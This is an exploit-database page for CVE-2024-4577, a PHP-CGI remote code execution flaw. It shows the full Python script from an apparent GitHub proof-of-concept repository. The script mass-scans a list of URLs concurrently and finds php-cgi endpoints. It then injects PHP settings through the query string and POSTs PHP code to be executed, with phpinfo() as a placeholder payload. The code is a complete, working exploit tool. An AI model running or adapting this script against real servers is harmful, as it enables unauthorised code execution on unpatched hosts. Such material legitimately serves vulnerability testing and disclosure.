Exploit database

GH-7656dd14655e4c3114285969b46c9e40

ywchen-ntust/php-cgi-rce-scanner

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-4577

48 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
ywchen-ntust/php-cgi-rce-scannerRevision 2dc596813d78

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit_beta.py

Python · 4,509 bytes
import aiohttp
import asyncio
import re
from urllib.parse import urlparse

CGI_POINTS = [
    "/php-cgi/php-cgi.exe", "/cgi-bin/php-cgi.exe",
    "/php-cgi.exe", "/cgi/php-cgi.exe", "/php.exe",
    "/cgi-bin/php.exe", "/cgi/php.exe",
    "/index.php", "/"
]

MAX_CONCURRENT_TASKS = 50
semaphore = asyncio.Semaphore(MAX_CONCURRENT_TASKS)

COLOR_RED = '\033[0;31m'
COLOR_YELLOW = '\033[0;33m'
COLOR_CLEAN = '\033[0m'

LOG_FILE = 'scan_results.log'  # Log file name


async def send_request(session, url: str, method: str = 'GET', data: str = '', timeout: int = 5):
    try:
        async with session.request(method, url, data=data, timeout=timeout, ssl=False) as response:
            text = await response.text()
            return response.status, response.headers, text
    except Exception:
        return None, None, None


async def check_connectivity(session, base_url: str) -> bool:
    status, _, _ = await send_request(session, base_url, 'GET')
    return status is not None


async def find_working_cgi_path(session, base_url: str) -> str:
    for path in CGI_POINTS:
        full_url = base_url + path
        status, _, _ = await send_request(session, full_url, 'GET')
        if status == 500:
            return path
    return ''


async def get_phpversion(session, base_url: str, cgi_path: str) -> str:
    if not cgi_path:
        return ''
    url = base_url + cgi_path
    status, headers, text = await send_request(session, url, 'GET')
    if status is None:
        return ''

    version = ''
    if headers:
        if 'X-Powered-By' in headers and 'PHP' in headers['X-Powered-By']:
            version += headers['X-Powered-By'] + ' '
        if 'Server' in headers and 'PHP' in headers['Server']:
            version += headers['Server'] + ' '

    matches = re.findall(r'PHP\/\d+\.\d+\.\d+', text)
    if matches:
        version += ''.join(matches)
    return version.strip()


async def exploit(session, base_url: str, cgi_path: str) -> bool:
    if not cgi_path:
        return False
    payload_url = base_url + cgi_path + \
        "?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input"
    payload = "<?php phpinfo();?>"
    status, _, text = await send_request(session, payload_url, 'POST', data=payload)
    if status is None:
        return False
    return bool(re.findall(r'PHP Version \d+\.\d+\.\d+', text))


async def scan_url(session, raw_url: str):
    async with semaphore:
        try:
            url = raw_url.strip()
            if not url or url.lower() == 'none':
                return
            if not url.startswith('http'):
                url = 'http://' + url

            parsed = urlparse(url)
            base_url = parsed.scheme + '://' + parsed.netloc

            connected = await check_connectivity(session, base_url)
            cgi_path = await find_working_cgi_path(session, base_url) if connected else ''
            cgi_exist = bool(cgi_path)
            phpversion = await get_phpversion(session, base_url, cgi_path) if cgi_exist else ''
            exp_result = await exploit(session, base_url, cgi_path) if cgi_exist else False

            output = (
                f'Testing: {base_url} '
                f'connected={connected} '
                f'cgi_exist={cgi_exist} '
                f'phpversion={phpversion} '
                f'exp_result={exp_result}'
            )

            # Print to console with color
            print(
                f'Testing: {base_url}'
                f' {COLOR_YELLOW if not connected else COLOR_CLEAN}{connected=}{COLOR_CLEAN}'
                f' {COLOR_RED if cgi_exist else COLOR_CLEAN}{cgi_exist=}{COLOR_CLEAN}'
                f' {phpversion=}'
                f' {COLOR_RED if exp_result else COLOR_CLEAN}{exp_result=}{COLOR_CLEAN}'
            )

            # Write to log file
            with open(LOG_FILE, 'a', encoding='utf-8') as f:
                f.write(output + '\n')

        except Exception:
            pass  # Silently ignore individual URL failures


async def main():
    print('Testing CVE-2024-4577')
    print('Vulnerable versions: 5.0.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7\n')

    # Clear previous log contents
    open(LOG_FILE, 'w').close()

    with open('urls.txt', 'r') as f:
        urls = f.readlines()

    async with aiohttp.ClientSession() as session:
        tasks = [scan_url(session, url) for url in urls]
        await asyncio.gather(*tasks)


if __name__ == '__main__':
    asyncio.run(main())